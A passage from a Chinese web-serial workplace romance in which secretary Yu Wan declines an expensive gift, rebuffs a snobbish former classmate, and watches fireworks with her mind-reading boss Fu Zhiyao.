办公室里没人对鲜花过敏,虞晚将花束摆到咖啡机旁的空位上,权当装饰品,给办公室增添些色彩。
花束包装实在漂亮,包扎的鲜花也不是寻常的月季,而是马蹄莲、虞美人、铃兰等等,许多种虞晚叫不上名字的鲜花,色彩丰富,却并不显得花哨,可见挑选花束的人眼光十足高。
但,会是谁送的呢?
群里毛新灵和赖言栩一个比一个猴急,生怕错过虞晚被告白的场景,用消息疯狂轰炸虞晚,想要知道神秘的送花人是谁。
虞晚无奈,将鲜花和贺卡拍下来发到群里。
鱼丸:【你们别多想,没有署名,不知道是谁送的。】
柠檬蛋挞:【别说,字写得还蛮好看的。】
栩栩如生:【!!花也超漂亮,不过,连一个感叹号都不给,肯定是个巨巨巨古板的人。】
灵灵七:【!字如其人,我打包票,这个给你送花的男人是个帅哥。】
鱼丸:【……】
都不知道送花的是谁,怎么就能确定男女,虞晚不想再看几人八卦,找了个借口溜掉。
鱼丸:【俺要工作了[打字jpg.]。】
柠檬蛋挞:【哼,无聊的虞晚。】
灵灵七:【哼,无聊的虞晚。】
栩栩如生:【哼,无聊的虞晚。】
虞晚:“……”
第44章
虞晚说要工作不过是个借口,泽域集团合作案已经定下来了,虞晚这两天不算忙。
但接下来公司要和信远生物制药集团就医疗平台进一步合作,这回傅氏引入了第三方,远在港城的泽域,合作情况较之前又有所不同。
因此,虞晚更需要仔细梳理合作细节。
信远生物制药集团正是郁瑾潼名下的公司,虞晚查过信远集团的资料,前些年因为权职交替出了点问题,股票振荡下落,可以说信远成了个大火坑,郁瑾潼抓住机会上位,又借助傅知尧帮助,一跃成为集团话事人,这过程中的博弈看得虞晚激动不已。
她果然没看错,郁小姐是位了不起的人物。
在郁瑾潼的带领下,信远生物制药和许多高校实验室合作,在特定疾病靶向药方面颇有成果,是业内比较看好的制药和药械研发、生产公司。
资料整理得差不多,虞晚注意到老板给的那个正方形礼盒,她下意识朝老板办公室内看了一眼。
老板说是马董事给她的。
难不成是因为出差那次?
可她也没做什么了不起的事情啊。
虞晚将礼盒打开,里面是一条正圆无暇的8-9毫米珍珠项链,以及配套的珍珠耳饰,珍珠颗颗饱满,光泽感十足,带着带偏蓝调的灰色晕彩,优雅高级,虞晚曾听赖言栩说过珍珠的知识,如果没猜错,这条珍珠项链是Akoya里的真多麻。
真多麻本就不便宜,更何况这里面的珍珠几乎是颗颗无暇,就更难得了,价格十万起步,再加上品牌效应……这条项链预估超二十万。
无功不受禄,这
礼盒她怎么看怎么觉得烫手,将盒子盖好,起身去办公室找傅知尧。
门敲开的时候,傅知尧正坐在老板椅上,像是早就料到她会进来,好整以暇地看着她:“怎么了?”
虞晚将手中的礼盒放到老板办公桌上,说明来意。
“老板,礼物我不能收,实在是太贵重了,更何况我也没帮上什么忙,拿这个受之有愧,麻烦您将这个还给马董事,我回头会联系马董事说明原因的。”
傅知尧看着虞晚,没说好也没说不好。
虞晚被看得有些忐忑,正要开口解释,老板就说话了。
“该你拿的你就拿着,帮没帮上忙,值不值得的评判标准不在你那儿,如果不是我拦着,马董事估计要给你买套房,相比之下,这套珍珠饰品很便宜了,不是吗?”
虞晚:“……”
如果不是现实不允许,虞晚很想呐喊,为什么要阻止!
十几万的珍珠首饰她尚且能抵抗诱惑,毕竟不是必需品,她就是用一条地摊上十块钱买来的假珍珠项链都没问题,但上百万或者上千万的房子摆在她面前,她很难对诱惑说不。
是谁说过这样一句话,命运馈赠的礼物早就在暗中标明了价格。
虞晚明白这个道理,所以朋友们请客后她会以另一种方式还回去,细节上的金钱的确不需要计较太多,但她心里得有一杆秤,什么能接受,什么不能接受,什么是超出她现在能偿还范围内的东西,坚决不能碰。
贪婪和欲望是从来都是喂不饱的怪兽,她不想放任自己成为金钱的奴隶。
陆随哥送她的腕表她回去后也查询过价格,一万多,说实话超出了她对腕表的购买预算,但将腕表还给陆随?
不不不,陆随哥和老板不一样。
虞晚读懂了陆随哥当时眼底那抹浓重的带着补偿心理的情绪,很难说出拒绝,便购买了价格相当的一条领带,预备在陆随生日的时候送给他。
陆随哥的生日恰好就在她生日后两天。
两人之所以不一样,一位是幼年伙伴,没什么利益上的牵连,一位是老板,虞晚还要在他手下讨生活。
权衡之下,虞晚开口:“老板,我可以发誓,在港城发生的事情,除了合作之外我一句话都不会泄露出去,至于这套珍珠首饰,我不会收,也不能收,或许您觉得评判值不值得的标准不在我这儿,但我起码还有拒绝的权利,非常感谢老板您和马董事的信任,心意我已经收到了,礼物就不必了。”
不等傅知尧说话,虞晚继续道:“老板,如果您觉得过意不去,对我说声生日快乐就好,今天是我生日。”
一分钟后,虞晚双手空空回到总裁办。
她不住地摇着脑袋,一脸早有预料的表情,她就知道,以大魔王的性子是不会说出那句生日快乐的。
大魔王听完她的话,估计会在心底腹诽:我为什么要觉得过意不去,你是我秘书,我要做什么还要考虑你的感受?为老板着想不是你这个秘书该做的吗?你现在胆子大到敢对我提要求了,真是了不起,我这个老板的位置要不要给你来坐呀?
虞晚仗着工位挡板高,在自己工位上,无声用口型还原傅知尧在心底的想法,说着说着,五官也跟动起来,越演越上头,演完,虞晚心虚地朝着隔壁办公室看了眼。
虽然知道总裁办和老板办公室之间的玻璃是单向可视,但偶尔虞晚也会忘记这件事,要是被老板看到就丢人了。
但很可惜,如同之前每次一样,虞晚什么看不到。
她收回视线,继续在电脑上忙活工作,纤细的手指在键盘上灵活地敲动,神色专注认真,和方才挤眉弄眼的样子截然不同。
一墙之隔。
傅知尧观看了虞晚变脸戏法的全过程,忍住想要敲击玻璃吓唬虞晚的手指。
他轻嗤一声,大方不同虞晚计较,转过身,拿起办公桌上的礼盒。
目光落在上面,迟迟没动。
半晌,拿起手机给人发去一条消息。
傅知尧今天下午有事忙,带着蔡秘书离开了公司,没让虞晚陪同,虞晚下午也不需要关注老板的动态
五点半一到,虞晚收拾工位桌面,准备下班。
难得不需要加班,虞晚打算去家附近的超市逛逛,买点需要的食材,为明天的聚餐做准备。
好在小伙伴们十分给力,每次聚餐完都会和她一起将厨房和客厅收拾干净,践行有福同享有难同当的原则,不至于让她被房东‘通缉’。
孙柠和赖言栩送的礼物,虞晚选择分批次带回家,而那束没有署名的花,虞晚想了想自己抱着花束进入拥挤地铁的场景。
画面太美,她不敢想象,虞晚干脆将花束留在办公室,当作装饰物,每日看着,心情也能变好些。
收拾好东西,背好包包,刚准备锁门,就接到傅知尧打来的电话,傅知尧让她进办公室,将休息室床头柜上的文件送给他。
虞晚大概估算了老板所在的酒店和公司的位置,坐地铁过去,需要一个半小时,还是打车吧。
虞晚应下:“好的,老板,那我到了要如何找你呢?”
傅知尧的声音隔着听筒传来,带着电流音,不似平日面对面,听起来慵懒惬意:“你现在下楼,去B2南区的停车场,小程在车上,他会把你带来的。”
“好的,老板。”
电话挂断,虞晚走到傅知尧办公室前,熟练地输入密码,打开傅知尧办公室大门。
傅知尧休息室门平日里一直是关上的,虞晚别说是进去,就连看都是第一次,能完整知道老板休息室布局的,大概只有专程负责清扫的江阿姨了。
虞晚打开休息室门,按开灯,看清了休息室内的场景。
一如既往的黑白灰色调,没有她想象中的沉闷味道,只有淡淡的熏香味道,和老板身上的苦艾香气一模一样。
虞晚心无旁骛,拿起床头柜上的那份文件,用不透明纸袋装好,这才关上办公室门离开。
到了地下停车场,果不其然看到同她打招呼的小程司机,小程司机是和武叔换班的司机,今年不过二十五岁,年轻得很,留着干净的寸板头,模样有些凶,但性格十分热情。
“虞秘书,老板和我打过电话,您上车就是。”
“好,麻烦你了。”
“不客气,您系好安全带。”
坐上小程司机的车,虞晚拿出手机,让赖言栩三人在群里挨个报菜名,三人叽叽喳喳到最后,投出了六道最想吃的菜。
虞晚扫了眼,全是荤菜。
虽然不太健康,但虞晚还是同意了,内心默默加了两道素菜,荤素均匀才健康嘛。
鱼丸:【好,我知道了,我今天晚上会去超市买菜,明天中午去花园餐厅,晚上再去我家。】
栩栩如生:【那晚上的菜会不会太多?要不要删一点啊?可是我好舍不得,虞晚做的菜太好吃了!呜呜呜】
灵灵七:【你那个大肚子,你什么吃不下,我觉得别说是六道菜,就是七道菜你都吃得完!】
柠檬蛋挞:【哦!对了,鱼丸,你不用买太多菜,我明天先去你家找你,我家叔叔开养鸡场,送来了一只剁好了的土鸡,我说要和你一起吃饭,我妈妈就让我拿来,省得去外面买,还有一些其他的菜,你看看,别买多了。】
柠檬蛋挞:【图片】
虞晚点开,除了剁成块的新鲜鸡肉,还有去头的淡水虾,配菜有青红辣椒,大蒜,洋葱,水果菠萝、山竹更是一大堆。
虞晚哭笑不得。
鱼丸:【太多了,你拎着也麻烦,而且我家附近就有超市,买食材方便得很。】
灵灵七:【哎呀,虞晚,没关系的,我刚好也说要带点给你,不过我家没有菜,全是水果和酸奶,我决定了,我要做超大份酸奶水果捞,膜拜我吧,你们这些闭月羞花的人类!】
赖言栩也跳出来:【怎么可能少了我,我这回带的可是大龙虾!嘿嘿,还有啤酒,我让我表哥开车送我来,我们先去找虞晚,在她家化妆怎么样!顺便给虞晚化妆!】
这话得到了其余两人的认可,在群里纷纷应和。
虞晚看着她们发的话,发自内心地笑出来。
虞晚知道她们的心意,知道她们这么说不是出于虚情假意,而是真心将她当朋友,所以大方提要求,又怕她觉得负担,才会提出要带各种各样的菜来她家。
虞晚笑着接受了她们的好意,重新整理了一遍备忘录,写好需要购买的食材。
这是她的习惯,去超市购物时有了计划,就不会花多余的钱购买计划以外的物品,可以省钱。
写完备忘录,虞晚点开英语软件,继续学习有
关商务英语词汇和沟通用语。
毕竟是跟在老板身后的秘书,虞晚暂时没办法做到掌握多国语言,但最基础的英语必须记得牢牢的。这样,老板以后遇到跨国会议需要她参与,她也不至于听得稀里糊涂。
另一方面,虞晚不希望自己在找到工作后就松懈,要知道知识可是日日更新迭代,虞晚学得越多,就越是觉得自己了解得少。
都说勤能补拙,虞晚对此深信不疑,毕竟脑子不聪明,就只能在其他地方找补,总不能明知自己不聪明还自暴自弃吧。
四十分钟后,车子抵达酒店。
但停车时出了点意外,一辆银色面包车从另一侧开来,抢在虞晚他们前面倒车,两辆车不可避免发生剐蹭。
小程一下就来火了,利索解开安全带,下车前还不忘安慰虞晚:“虞秘书,你别着急,下了车,你在后门等等,老板待会儿就下楼。”
虞晚点头:“没事,如果那位司机不讲理,你去找酒店经理,后门有监控的。”
“好。”
小程司机下了车,和那位满脸横肉的司机掰扯起来。
片刻,两人你不服我,我不服你地进了酒店后门,看样子,大概是要去调监控。
第45章
此时天色渐渐暗下来,夕阳坠在天边,远远的还能看见大片瑰丽的火烧云在翻涌,钢铁森林般的城市恍惚变得有了温度。
虞晚下了车,弯腰查看汽车被剐蹭的地方。
老板的车价格都不低,这一撞,修理费肯定要不少,虽然花的不是她的钱,但虞晚脸上不由自主流露肉疼的表情。
一辆豪车和一辆面包车挡在路旁十分显眼,不远处一位身着polo衫的年轻男人从车上下来,很快就注意到银灰色卡宴车尾的虞晚。
看清楚是谁,年轻男人迈步走过去,惊讶地喊出声:“虞晚?”
虞晚看得正认真,听到声音,直起身,对上了一张熟悉的脸庞。
虞晚从记忆里扒拉了一下,认出来人。
高绍凡。
她大学同专业同学,准确说,是同班同学。
高绍凡视线落在虞晚身上。
比起大学校园时期,虞晚的变得可谓是大,黑色长发柔顺有光泽,用抓夹固定在脑后,露出修长的脖颈线条,脸上画了点淡妆,肤色红润雪白,眼眸充盈着自信的光彩,大方抬头与他对视,和大学时期那个总低着脑袋文静内敛带着书卷气息的虞晚相差甚远,可以说发生了脱胎换骨的变化。
他遮去眼底的那抹惊艳之色,视线在虞晚身后的破旧面包车上梭巡一圈,嘴角勾起一抹嘲讽的弧度,被他不动声色压下去。
高绍凡施施然开口:“虞晚,你是不是遇到了麻烦,需要帮忙吗?”
不知是不是研究老板微表情研究多了,虞晚一眼就看出来高绍凡在想什么。
他大概是将这辆面包车认作是她的了,又或者,是她就职公司的车,所以才会用那种微妙的眼神打量她。
她没解释,礼貌拒绝:“不用了,车子有保险。”
高绍凡抬了抬眉毛,不以为意:“虞晚你怕是不认识这辆车的价值吧,就算有保险又能赔多少,我手里有点闲钱,需要可以借给你,对了,你还不知道我在哪里工作吧,我在屿风集团,工作挺轻松的,说不定年底就能晋升主管,这点钱拿得出手。”
虞晚笑笑不说话。
高绍凡面子有些挂不住,表情沉了一瞬,转而探究起虞晚的工作。
“我还没问你呢,虞晚你在哪儿高就啊,要是工资不高,我可以把你介绍到我们公司来,我们公司对待普通员工福利不错,至少比你大学时在班导那边的兼职强,一个月不过六百块的补助,也就你实诚干了两个学期,我前段时间碰上班导,还和他聊起你呢。”
虞晚听出高绍凡语气里的轻视,微微蹙眉:“我现在工作挺好的,没有跳槽的计划。”
“行吧,诶,对了,下个月我们大学同学有个小型聚会,你要来吗?同学一场,毕业了联络联络感情,以后工作上总有互相帮助的时候。”高绍凡想起点什么,“不过你毕业后退了好多群,也不怎么和我们这些老同学来往,要不然这样吧,你加我一个联系方式,我到时候把聚会地点和时间发给你。”
虞晚还是拒绝:“不用,我没时间。”
这回的拒绝比起先前两次更为冷漠果绝,不仅仅是因为天气太热,虞晚不想站在室外,更因为眼前这个大学同学口中流露出高高在上的优越感,她不想浪费时间充当那个捧哏的听众。
果不其然,听完虞晚的话,高绍凡脸色霎时就变了,他压低浓黑的眉紧盯虞晚,口吻不爽:“虞晚,你不会还记恨我当时举报你奖学金的事情吧。”
举报奖学金?
虞晚猛然抬头看向高绍凡,眼眸中的情绪锐利冷淡,让高绍凡本能地感到被侵犯的不悦。
果然,虞晚就是在因为这件事生气。
找到虞晚生气的点就简单多了,高绍凡昂首,咽下怒火,咬牙示弱道:“那件事情都过去了多久,再说了,你最后不还是拿到了属于你的奖学金吗?我是不知情而已,不知道你是孤儿院长大的,那么需要钱,你没必要还记恨着吧。”
“虞晚,我说句不中听的实话,出了社会和学校不一样,没必要因为过去发生的事情就记恨所有人,就好比你现在,工资一个月最多五千吧,”高绍凡视线又扫了眼她身后那辆面包车,嗤笑一声:“就连出门办事都是坐一辆破旧的面包车,我还以为你这么厉害,混得很有出息呢,邀请你来参加同学会是看得起你,你多结交点人脉,也好换份高薪工作……”
虞晚打断他,毫不客气地质询:“你以为你是谁,对我的人生和决定指指点点,这么喜欢当老师,当初为什么不留在学校教书,是因为成绩不好吗?还是因为绩点太低,学分不够差点拿不到毕业证?”
“虞晚,你别不识好歹!”
高绍凡怒目圆瞪,一张脸因为愤怒扭曲起来,他用力攥紧拳头,提高的音量里掺杂着威胁的意味。
就在这时,一位穿着酒店服装的工作人员快步跑来,打断两人一触即发的僵硬氛围。
工作人员对待虞晚的态度可谓谦卑:“虞小姐,不好意思,耽误您时间了,送货的工作人员不谨慎,将您车子撞了,您放心,我们绝对会妥善处理,车子后续的维修费用我们酒店这边会出,司机那边我们也会进行处罚,争取给您一个满意的答复。”
虞晚起初有些诧异,视线一转,看到了傅知尧。
他戴着黑色墨镜,穿着标准的西装三件套,身形笔挺颀长,隔着一道落地玻璃看着他们,窗外廊下有柱子遮挡,一时竟没让她发现,也不知老板在那边站了多久。
工作人员恭敬开口:“虞小姐,包厢已经为您准备好,这边交给我们工作人员处理,天气太热了,我们还是先上楼吧。”
虞晚无意和这位大学同学纠缠,朝工作人员点点头,“麻烦了。”
工作人员笑容灿烂至极:“虞小姐真是客气了,您是我们酒店尊贵的钻石会员,能为您服务,我倍感荣幸。”
虞晚:“……”
一旁高绍凡完全被当成空气,面色一阵青一阵白,难以言语的屈辱感涌上来,他怎么也没想到那辆豪车才是虞晚的,但他更恨虞晚的不解释,让他像个小丑在她面前拙劣地表演。
看到虞晚拿起一份文件离开,他
下意识迈步想追上去。
工作人员拦住他,露出一个无懈可击的笑容:“先生,您是入住还是……?”
高绍凡看了眼前方走上台阶的虞晚,提高音量:“我和她是朋友!”
虞晚头也不回。
“我不认识他。”
进了酒店,凉爽的空气袭来,虞晚紧绷的肩膀放松下来。
她转过头寻找傅知尧的身影,听到前方的一声咳嗽,虞晚看过去,老板已经摘了墨镜,从沙发上起身,迈着长腿朝她走来,皮鞋踩在大理石地板上轻响。
“老板。”
虞晚不知道傅知尧有没有听见他们说话,不过,从工作人员对她的态度以及为她解围的方式来看,明显有老板的手笔。
尽管方式有些老套,但不得不说,用来对付高绍凡,算是对症下药了,就是第一次装富婆,虞晚有些心虚。
两人朝着电梯的方向走。
虞晚抿了抿唇,对傅知尧说:“老板,刚才的事情,谢谢你。”
傅知尧挑了下眉,“口头上说谢谢就够了?”
不知为何,被老板这么理直气壮地反问,虞晚内心那些烦闷反倒化成水溜走了,这么一想,她不过是遇到了一位自以为功成名就喜欢吹牛皮的普通大学同学而已,这是一件再小不过的事情,不值得她生气。
她只是在意他口中说的举报奖学金一事,但现在显然不是思考这个的时间。
虞晚会意,顺坡下。
“老板,您吃过饭了吗?”
“没有。”
虞晚道:“那老板,文件我送到了,等您忙完,有时间的话,我请您吃饭?”
“嗯哼?”
虞晚记得上回赖言栩推荐她吃的一家餐厅,人均价格七百左右,这个月她的奖金刚好能支持她小小奢侈一把,请老板吃饭。
这已经是她能给老板提供的最大限度的金额自由了,再高点她会心疼的,毕竟赚钱不容易。
虞晚竖起手指,故作神秘开口:“老板,您要不要猜猜我打算请你吃哪一家餐厅?”
傅知尧看她一眼,虞晚眼角眉梢都透着狡黠和灵动,和方才站在那位男人面前时截然不同,看来那位男人不是上回和她一起吃饭的人。
不过比起这个,他更惊奇小秘书的自我情绪调节能力,也不怪人事部对她的心理测评是s级,他都自叹弗如。
傅知尧收回视线,扬了扬英朗的眉:“我猜,彬晴。”
彬晴,一家开在市中心,高端得不能再高端的日料店,除了占地面积大,建造的院落小筑古朴精美,食材更是每日新鲜空运,只为给食客顶级舌尖体验。
虞晚知道这家店还是因为上次谈生意,她被老板带着参与,有幸吃过一回。
吃完,拿着老板的卡去前台结账,那是虞晚头一次摸黑卡,激动之情难以言喻,等工作人员将消费金额报出来,虞晚心瞬间凉了半截。
一顿平平无奇的日料,居然花了五万多!
这意味着人均一万以上!
虞晚表情僵硬,讪讪收回手指,声音也变得结结巴巴:“猜、猜贵了……”
四个人就要五万,两个人至少要两万!虞晚就算奖金再高也经不起这么花,毕竟她不比老板,赚钱的速度不是以秒为单位计算的,要节省点。
傅知尧喉咙里溢出一声低笑,音色醇厚撩拨人心弦,“穷光蛋虞晚。”
虞晚:“……”
分明是调侃的语气,分明是在骂她是穷光蛋,可听着就是让人生不起气来,像是用轻盈的羽毛挠耳朵,听得她心痒痒。
她看一眼傅知尧,趁他没注意,抬起手,揉了揉耳朵缓解。
老板说话太好听也不行,容易让下属分心。
第46章
电梯在四楼稳稳停下,傅知尧带她进一个宽敞豪华的包厢,包厢内空无一人。
虞晚好奇问傅知尧:“老板,合作方是离开了吗?”
“没合作方,叫你来吃饭的。”
“那文件呢?”
“文件我明天要用。”
说话间,傅知尧已经大步绕过虞晚落座,身后服务员轻手轻脚跟上来,将菜单递给傅知尧。
虞晚有些踟躇:“老板,您想在这里吃饭吗?”
傅知尧修长的手指翻看着菜单,掀眸看虞晚,示意她过来选择,“肚子不饿吗,先点菜,吃完再说。”
“哦。”
虞晚将包包和文件放好,坐在傅知尧身边,偏头看傅知尧手中的菜单,距离在不知不觉中拉近,那股淡淡的白玉兰香气萦绕在他鼻尖,让傅知尧想起在港城的那个夜晚。
当老板这么多年,他自认不是个没有分寸感的人,尤其是对女下属,作为集团总裁的他平日里鲜少和女下属单独待在一个空间超过三十分钟,就算有,也是其他高管在场。
但那天,他不仅让虞晚进来,还主动拉住她的手,让她留下来和自己一起看纪录片。
这一点都不像他。
傅知尧仔细回忆那天的经过,他能感觉到虞晚并不抗拒他的挽留,是过程中他的口吻太过命令还是虞晚戒备心太低,不觉得和一个男性共处一室是件危险的事情?
虞晚没注意傅知尧的视线,专注地看着菜单。
最便宜的一道菜价格都在两百以上,比虞晚血压还高,但不管怎么说,价格绝对比日料店便宜,再者,她都答应请老板吃饭,不能到头来这么小气。
虞晚心一横,跟着点了道她感兴趣的菜:“米油浸河豚鱼!”
中气十足的一声,将傅知尧拉回现实,他手虚握拳放在唇边,轻咳一声:“还有呢?”
虞晚不好意思了,将菜单往傅知尧方向推:“老板您选。”
请客嘛,当然是主随客便。
最后点了五道菜加一蛊粥,对两个人来说绝对是多的,但老板是谁啊,平日里吃七八道菜都觉得委屈了他的人,虞晚认为老板还是相当体贴她的钱包。
吃过饭,虞晚去前台结账,被工作人员告知金额直接从傅知尧卡上划去,她不必付钱。
虞晚诧异不到两秒就反应过来,她和老板出门吃饭,就没有自己付钱的时候,要么在吃饭前傅知尧就将黑卡给了她,要么直接报傅知尧名字记账,压根用不上她的钱。
可今天情况不一样,她不是说好请老板吃饭吗?
虞晚:“那麻烦你把钱原路退回到会员卡账户,我这边重新付钱可以吗?”
工作人员朝她歉意笑了笑,“虞小姐,可以倒是可以,但需要会员本人在场才行哦,或者我和您一起去找傅总?”
虞晚无奈:“没关系,我先问问再说。”
虞晚返回包厢。
傅知尧刚好从洗手间出来,将擦手的毛巾丢到桌上,抬手调整了一下脖颈上的领带,“我好了,走吧。”
“老板,不是说好我请您吃饭吗?”
傅知尧扬了下凌厉的眉,反问道:“我答应了吗?”
虞晚想了想,的确没有。
她抿唇:“那老板您是想吃彬晴吗?”
如果老板说想,那她就稍微把这个请客时间往后挪,等年末,等她的年终奖发下来再请,年终奖是按照工资和任职时间来算的,绝对是一笔不菲的收入,到时候请老板吃彬晴,她也没那么心痛。
虞晚一副精打细算的表情,看得傅知尧想笑,他没多说,将虞晚带到地下停车场。
抬手按了按车钥匙,一辆线条流畅的黑色宾利尚慕亮起车灯。
对老板隔天就换辆豪车开的行为,虞晚已经见怪不怪,但她总觉得这辆车的车标和上回陆随哥送她回学校那辆有点像。
但陆随哥只比她大两岁,按照毕业后就工作来算,也没那么容易就拿下这样一辆车。
虞晚没困惑几秒,被傅知尧声音打断:“上车,送你回家。”
“好,谢谢老板。”
虞晚在吃饭时就同傅知尧说过小程开车被剐蹭的事情,她只是
有些惊讶老板会自己开车。
在副驾驶和后座之间,虞晚想都没想就选了副驾驶,她都能想象到自己选了后座被傅知尧啧声说不想当司机的场景。
唉,该说不说,她对老板的了解比她自己还多。
果不其然,看到虞晚坐上副驾驶,傅知尧挑了下眉毛,这是他心情还不错时会做的下意识动作。
汽车启动,傅知尧忽然开口:“有驾照吗?”
虞晚摇头:“没有。”
其实是没时间学,高考完忙着兼职赚钱,进了大学倒是考虑过,这样以后找工作,也能当一个技能点,但真正体验了大学生活,虞晚忙得脚不沾地,上课努力听讲完成作业攒绩点,课外参加各种活动攒德育分好拿奖学金,周末休息各处打零工……太多太多的事情绊住手脚,以至于虞晚到现在都没驾照。
傅知尧了然,“抽空去考个驾照,让蔡杨到时候给你配一辆车,你出外勤方便点。”
虞晚没车,目前出外勤基本是乘坐公共交通或者叫网约车,她觉得挺方便的,可以根据打车软件上的等车时间灵活选择,节省时间成本。
老板让她去考驾照也情有可原,毕竟她和老板出去见客户的次数多,万一哪天司机武叔和小程都有事,总不可能让喝了酒的老板开车吧,退一步说,就算老板没喝酒,让老板开车这不是把老板当司机了吗。
不过,拿到驾照就给她配车?
这是她这个小秘书能有的待遇吗?
虞晚瞬间联想到今晚吃饭前发生的事情,明白了点什么。
虞晚捏了捏手指:“老板,您是听到了我和他说的话吗?”
傅知尧没料到虞晚抓问题的角度如此新奇,不承认也不否认。
他下楼时,刚好看到虞晚在那边一脸心疼地检查车辆被剐伤的地方,不等他给虞晚打电话,就看到那位男人走过来。
隔着一道玻璃当然不能听清他们在说什么,好在心声技能稳定发挥,傅知尧稍微换了个位置听到男人的心声,简直是污染耳朵。
他懒得再看戏,招手叫来一位酒店工作人员,抬了抬下巴,让工作人员看清虞晚的位置。
“那位年轻女士,姓虞,虞美人的虞,和我是一起的。”
高奢酒店工作人员看人眼色这方面显然是专业的,立马明白傅知尧的意思,溜须拍马保证:“傅总,您稍等,我现在就将虞小姐带进来。”
车子启动,在安静空旷的停车场内格外突兀。
傅知尧开口:“那男人是你大学同学?”
猜测的语气,没让虞晚多想。
“嗯,同班同学,来往不多。”
大学毕竟不是高中,即便一群人每天坐在一起上课,但上完课就走,除了宿舍室友,基本不会深交。
虞晚记忆里,和这位叫高绍凡的同学几乎没有交流,她在班上就是个透明人,没谁会关注她。
酒店外,她本无意和高绍凡聊天,偏偏高绍凡提到了举报奖学金的事情。
原主和她一样,每学年奖学金都拿到了手,并且不是走五保户或者贫困生奖金,这点查看银行卡流水就知道了,但原主奖学金被举报这件事她不知道。
印象中,奖学金被举报是她上辈子发生的事情,在她穿进这本小说之前。
世界上有这么巧合的事情吗?
她和原主长相一样,背景相似,就连经历都相似。
更诡异的是,虞晚发现自己完全不记得上辈子举报她奖学金的人是谁,但如果代入高绍凡的脸,虞晚便能将当时奖学金被举报一事缘由拼凑起来。
正是高绍凡的举报,才让她不得不各处周转收集证据,最后站到讲台上,面对全班同学,在所有人目光的注视下,说自己是孤儿院长大的孤儿,需要这笔奖学金生活,希望获得同学们的体谅和支持。
车子驶离酒店,汇入主干道车流中,此刻是晚上八点多将近九点的时间,夜幕已然降临,路灯依次点缀着附近的高楼,尖顶建筑奢华大气,目光所及之处无一不精致漂亮,车子行驶在路上,像是穿行在异国风情街中。
傅知尧问她:“你和他关系不好?”
虞晚垂眸,盯着被自己掐红的指尖,声音有些低:“大一评选奖学金,他写了举报信,说我不该拿奖学金。”
“原因。”
虞晚松开手指,面色平和解释:“他当时喜欢我们班一位女生,他认为那位女生的奖学金名额被我占领,所以写信举报我,但我肯定不服呀,我绩点过关,课外活动也积极参与,凭什么不发奖学金给我,我就四处收集证据,去找导员,去找院长,去派出所开具证明……,不过最后问题解决了,奖学金按时发放给我了,结果还是好的。”
傅知尧知道事情绝对没有虞晚说的这么简单。
虞晚是个习惯报喜不报忧的孩子,看似软包子,没什么大情绪,但心底和镜子一样透亮明晰,哪些人对她好,哪些人对她不好,都用一杆尺量得清清楚楚。
心眼儿实,不主动与人树敌,却也不傻,被欺负了知道反击。
等绿灯的间隙,傅知尧余光扫了眼虞晚,她垂着眼,漆黑的睫毛在眼下拓出一道浅浅的阴影,遮住那双明亮澄澈的眼,安静得不像平日的她。
莫名的,周围空气似乎变得沉闷起来,分明坐在车内,却像是淋了一场他最讨厌的雨。
傅知尧想起虞晚策划案被偷窃的事情,那时,虞晚之所以没有向他求助,是害怕得不到信任吗,固执又笨拙地收集齐所有的证据,认为这样才能名正言顺地反击回去?
他打了把方向盘,车子朝着另一条道路开去,片刻,平稳行驶在宽阔的江边道路。
虞晚情绪缓和过来,偏头看向车窗外,被高楼灯光渲染得五光十色的江面。
砰的一声巨响传来,漆黑夜空中倏地窜起一束烟花,刹那间绽放,绚烂夺目,将整个暗淡的夜空点燃,坠落时如流星划过,场面美不胜收。
不等虞晚惊叹,紧接着,更多的烟花开始不断升腾,在夜空中绽开令人眩目的光芒,火树银花,几乎要将城市上方填满。
虞晚察觉的时候,傅知尧已经找到地方停好车,解开安全带。
虞晚不解转头看向他,傅知尧言简意赅:“下车看。”
放烟花的地方在江对岸,江提宽阔,铺着石灰砖和围栏,因为有政府相关部门的维护,道路干净整洁,看不到一片垃圾,不少吃过晚饭的老年人带着牙牙学语的孩子出门散步,还有牵着狗撒欢谈心的年轻男女。
因为这一场突如其来的烟火盛宴,大家不约而同停在原地抬头欣赏。
虞晚双手在栏杆上,仰头看着夜空中盛放的璀璨烟花,一刻也不敢错过眼前的景色。
傅知尧走到她身侧,同她一样仰头,五彩缤纷的焰火光芒映照在两人身上,闪烁在两人眼里。
最后一簇烟花结束前,虞晚忽然听到傅知尧的声音。
傅知尧:“虞晚,以后多信任点你的老板。”
虞晚偏头,烟火余光坠落,在夜空中拉成一道细长的弧线流光,从面前男人深色的瞳孔中划过,夏夜的晚风实在温柔,裹着傅知尧的声音,挟着树叶的簌簌声,在她耳畔降落。
傅知尧垂眸看虞晚,视线不偏不倚:“可能我上次说得不够清楚,虞晚,第一次选你当我秘书存在点偶然性,但让你转正留在总裁办是我深思熟虑后的决定,没人胁迫我,也不是找不到人拿你凑合,遇到问题向老板求助不丢人,你不相信你自己,总该相信你的老板,我的眼光还没差劲到那种程度。以上的话,记住,记牢,记不住就抄下来贴在工位上,每日提醒自己,听懂了吗?”
虞晚愣愣看着傅知尧,心像化成海,刹那间潮起潮落,在她耳边轰鸣。
片刻,虞晚缓缓绽放出一个笑容,比烟花更灼热灿烂。
“听懂了
,明白了,老板,谢谢您。”
非常,谢谢。
烟火落尽,人群重新变得喧闹,傅知尧单手插兜往车停的方向走,虞晚跟在他身侧,步履轻盈。
傅知尧瞥她一眼,语调闲适:“知道为什么今天我请客吗?”
虞晚不确定:“您心情好?”
傅知尧皱眉:“我很老吗,为什么总用‘您’,以后用‘你’。”
虞晚爽快改口:“好的老板,那您,那你今天心情为什么很好?”
傅知尧不着痕迹勾了勾唇:“你猜?”
虞晚:“……”
第47章
这场夏夜烟火实在漂亮,为此驻足欣赏的不止虞晚和傅知尧两人,江提另一处,宋楚楚和陆决风站在一起。
只可惜他们来得太晚,刚下车,烟花就变得寥寥无几,只来得及欣赏最后一朵烟花盛放的光芒。
宋楚楚心有遗憾,收回目光时,注意力被人群中的两道身影吸引。
在江提边悠闲散步的人群中,虞晚和傅知尧两人过于显眼。
虞晚穿着简单的小v领短袖上衣,露出细瘦雪白的手腕和锁骨,长发被晚风撩起,侧脸柔和清秀,傅知尧穿着烟灰色软衫长裤,宽肩长腿,身形高大,落拓挺拔,路灯照映下的婆娑树影在两人脚边如海浪起伏。
两人并肩的场面美好得让宋楚楚以为自己出现了幻觉。
